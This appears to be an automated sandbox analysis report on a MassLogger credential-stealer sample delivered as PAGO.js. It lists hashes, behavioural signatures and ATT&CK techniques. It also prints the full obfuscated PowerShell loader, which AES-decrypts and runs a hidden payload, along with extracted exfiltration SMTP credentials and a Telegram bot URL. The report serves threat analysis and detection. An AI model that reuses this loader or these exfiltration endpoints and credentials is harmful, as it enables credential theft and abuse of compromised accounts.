masslogger | 14c618dec5ec31c655ae3c518d2af66c6b5e44162b68c20e725f1ab76bf281cd

Analysis

max time kernel
149s
max time network
128s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/06/2026, 12:11

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General

Target
PAGO.js
Size 2.4MB
Sample260623-pc4dgacv8m
SHA256 14c618dec5ec31c655ae3c518d2af66c6b5e44162b68c20e725f1ab76bf281cd
MD5 47af348402ab6750f67c9c14fda0b6ac
SHA1 3b90b047e90d59e40ce855a07fcfb3e9cfbaac40
SHA512 b8d6ecb574fd28ce5bf69437cd00817fab27820244cd615fe33fe630ff2af704679ee66014726002608e074f6f63b856369656e8ed5606e5b3bf442fa98ff8ec
SSDEEP 384:dQt2S1T8ovO31Hmpe9m7VTdc1fVm+YP6ROf8JVivLqbGB6YUc/kE25QhtlxRx7Ih:Ww
TLSH
T177C5128636A4B0CECACA73D14E48F7939B07324D7BE361E93A0327F55D860782945DB6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution masslogger spyware stealer

Malware Config

Extracted

Credentials

Protocol
smtp
Host
mail.nissanalmenar.com
Port
587
Username
[email protected]
Password
22GCatAlp55

Extracted

Family

masslogger

https://api.telegram.org/bot8863119254:AAH253pnN63l3kHxRxN-9CdTBo712ifHgpM/sendMessage?chat_id=8153569978

Attributes

exfiltration_mode
#SMTPEnabled
expire_time_date
00-00-0000
host_password
22GCatAlp55
host_port
587
host_receiver
[email protected]
host_sender
[email protected]
host_server
mail.nissanalmenar.com
ssl_slate
False

Signatures

Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
stealer spyware masslogger

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	748	2556	powershell.exe	88

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	748	powershell.exe
3	748	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3226024100-3888324339-2736661264-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AddInProcess32.exe
Key opened	\REGISTRY\USER\S-1-5-21-3226024100-3888324339-2736661264-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AddInProcess32.exe
Key opened	\REGISTRY\USER\S-1-5-21-3226024100-3888324339-2736661264-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AddInProcess32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
748	powershell.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.dyndns.org
1	reallyfreegeoip.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 748 set thread context of 1360	748	powershell.exe	92

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
748	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
1360	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	748	powershell.exe
Token: SeDebugPrivilege	1360	AddInProcess32.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 748 wrote to memory of 4800	748	powershell.exe	91
PID 748 wrote to memory of 1360	748	powershell.exe	92
PID 748 wrote to memory of 1360	748	powershell.exe	92
PID 748 wrote to memory of 1360	748	powershell.exe	92
PID 748 wrote to memory of 1360	748	powershell.exe	92
PID 748 wrote to memory of 1360	748	powershell.exe	92

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3226024100-3888324339-2736661264-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AddInProcess32.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3226024100-3888324339-2736661264-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AddInProcess32.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\PAGO.js
1⤵
PID:5660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -Command "try { $limewash = [System.Text.Encoding]::UTF8.GetBytes('LKu4TZXS43TgPj8Q'); if ($limewash.Length -lt 32) { $limewash = $limewash + (0..(31 - $limewash.Length)) }; $Bemba = [Convert]::FromBase64String('AIEjp571ADJHuQthliradLdw+aVlH9aJffIx9eBJ0IU2jLAmSw9N0Wvhg2c8Zgu1RTm4fqOKhAqSL1KVJTunpugVdDM+U3Q0xiaK6ti8xXGmcv85LkucUDtWTqkrokDyQLjdJLe2zP7istRVCbIPdcI89lp0PFz1ljaegI3yF5Bw5Zigo4i7EnXXp4DcQznrRbFTmlIKXIxSgYfHJOlDTgUvjMciue4yknFu6xs9rWdp1pXT5Oo8Wr1KYcjnO+7ymS2d73NuoJncZsLP0Yj5v9MzjKjwua9Xb4SM2qTm0+1AT7ZjbhBHtKUUtXYObIYTYVg1064w38EsuZw90GlYfsyGxd1j6zt6VIXLfeT9cmEJXjK3eKi6yNR1rUrv2l57EESwqzVXJDHNJKsZjoIoCnaP6TSLsQ1ehCwqpQTg46df+PaUHb5mF1pxZZkTvN0gLeqeYu5CssktJbc+Kk3DuBWhGFhIv0MKrxqs52HJTJVzhyG5/ZkdKfJkJEYuahQ7QcR5zn5TrqTZLXzG/N2l8Ddt/6LswIzPIM3C9ic0u5QDWw5wEInA7BJEFB69Wj/KYAZnYNu9y3IMpJ/9znjAxpbs2Rq1nSMDSfQyBEWTTxb7N5s3PXXMudzj/jOFyKvRxpdc5C02UU54XFFXDXZWwn6jDEr7YEaGv4jSCKVLx1hGC4srMrFRKHcUZJSN8KrCMkVnuxtM8vR/Aoe57WIsizk+FB31cglbWo4yfN3L5if+9wkXHm+o15tzfQqo2LbtBTwTnUlUfRodEt6+uY3kR6QrAXoUibvgOIe4Os6ac3ZmNh6PdNfhbjIX5dBgIpa/2NfHuJiv9fZ2Od1t9NQOpSWpADUOihorLS/6gj9r4bvfYP7OCOS7KmghESkzjKgPOwOwFbhv41R1pjvByecGi2fDRLJ4XfBq4KOt4eohNHTJLeNVG1Pzms5XwGIxDD6ZFNEDLCRTYGaGmL9d82HXD8M3ksRbGYF47vrh+z7HGYr5NMZFT8p7Nl/QMG96cQybY6oSdb2o2+bM6Fw4HY1lCtgH4S60OrXfhf5hul5IMB85jSBZlrK/zA8DljZ5AaMj3rl8eXcneym77Dnm4mvsT/xPqaJpVMHUnpVWSCagIJn2mv4/YGOoH634VU9fRR4+4A8XZ1VUJHAEmCCa+9O+loHZrayG5wWDz0psKsdFq9KHNIHpilVPu6zrUKXeWd72gyFVeTpvwZ3FJMRHU/mX+N/tGXiFCMnrAPaHH30vnn/JPjf9+whmO6EyNtNaeFEJRdQaTP5lbQbzIknBEsTMQcNFOmPlujR/SWBPUR4mH0ZAEvmYOumN1DsSiAnB1varF5CH8WuGzzo6Hb9lJ/f7RrOUUEt/F6jFhYZKPJOjyTtTqshxITcUU1bqgk1e2elD1OglQoOH3J8amzSGbRGtir5clpRRfwCZYzhg0nKMmogp1XYdcJgc9NLpxBOvhE4h1ShHM2n+WqbNEQy/A6grjOQ4lzwvF4PY4877Ot0G2QD4LdU82SVTaIumX29k8B2Fl+BnE8o8Fjy4koz4fFmRxB1ehLUFX/B8xvoGxQJMckDmq6LhZtRXYiC32XJbx855pP326N78lBFToBjyKEPba15oMWPKzggXP+08I+HG8bVSDoMe5jtKoYuhWeyqLo7Pdmq+ybGK7sjgbCjZbODvAxAvFQlO8NXlcDmi1IP/2YPvm0XGA9oSftDWYiE+a/CKHi0BColiO5s66hmHiuYcK7Ebr/G951qKU6LIhSM87FT5WUhWdGboXmA9yimiOsVWIVPOaJQEargW4CnTXgnEjIl5zdPLWmCtL3BjaGU7aix7A+KzbjVmC2nG9n56Y9j3'); $marbleized = $Bemba[0..15]; $Ummon = $Bemba[16..($Bemba.Length-1)]; $respected = [System.Security.Cryptography.Aes]::Create(); $respected.Key = $limewash; $respected.IV = $marbleized; $nonsalaried = $respected.CreateDecryptor(); $oxyphenic = $nonsalaried.TransformFinalBlock($Ummon, 0, $Ummon.Length); $mooly = [System.Text.Encoding]::UTF8.GetString($oxyphenic); Invoke-Expression $mooly; } catch {}"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:748
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
  2⤵
  PID:4800
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - outlook_office_path
  - outlook_win_path
  PID:1360

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

memory/748-16-0x00007FFAB7EC0000-0x00007FFAB8864000-memory.dmp

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memory/748-18-0x00007FFAB7EC0000-0x00007FFAB8864000-memory.dmp

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memory/748-5-0x00000239AF650000-0x00000239AF672000-memory.dmp

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memory/748-4-0x00007FFAB7EC0000-0x00007FFAB8864000-memory.dmp

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memory/748-6-0x00007FFAB7EC0000-0x00007FFAB8864000-memory.dmp

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memory/748-7-0x00007FFAB7EC0000-0x00007FFAB8864000-memory.dmp

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memory/748-8-0x00007FFAB7EC0000-0x00007FFAB8864000-memory.dmp

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memory/748-9-0x00007FFAB7EC0000-0x00007FFAB8864000-memory.dmp

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memory/748-10-0x00007FFAB7EC0000-0x00007FFAB8864000-memory.dmp

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memory/748-11-0x00007FFAB7EC0000-0x00007FFAB8864000-memory.dmp

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memory/748-12-0x00007FFAB7EC0000-0x00007FFAB8864000-memory.dmp

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memory/748-13-0x00007FFAB7EC0000-0x00007FFAB8864000-memory.dmp

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memory/748-14-0x00007FFAB7EC0000-0x00007FFAB8864000-memory.dmp

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memory/748-15-0x00007FFAB7EC0000-0x00007FFAB8864000-memory.dmp

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memory/748-1-0x00007FFAB7EC0000-0x00007FFAB8864000-memory.dmp

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memory/748-0-0x00007FFAB804F000-0x00007FFAB8050000-memory.dmp

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memory/748-20-0x00000239C7850000-0x00000239C785A000-memory.dmp

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memory/748-19-0x00000239C7CC0000-0x00000239C7DE2000-memory.dmp

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memory/748-17-0x00007FFAB7EC0000-0x00007FFAB8864000-memory.dmp

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memory/748-23-0x00007FFAB7EC0000-0x00007FFAB8864000-memory.dmp

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memory/1360-21-0x0000000000400000-0x000000000041E000-memory.dmp

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memory/1360-24-0x00000000744F2000-0x00000000744F3000-memory.dmp

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memory/1360-25-0x0000000005FC0000-0x000000000657A000-memory.dmp

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memory/1360-26-0x0000000005A00000-0x0000000005A9C000-memory.dmp

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memory/1360-27-0x00000000744E0000-0x0000000074C9C000-memory.dmp

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memory/1360-28-0x00000000744F2000-0x00000000744F3000-memory.dmp

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memory/1360-29-0x00000000744E0000-0x0000000074C9C000-memory.dmp

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memory/1360-30-0x0000000006810000-0x0000000006860000-memory.dmp

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memory/1360-31-0x0000000006B30000-0x0000000006CF2000-memory.dmp

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memory/1360-32-0x0000000006DA0000-0x0000000006E32000-memory.dmp

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memory/1360-33-0x0000000006D20000-0x0000000006D2A000-memory.dmp

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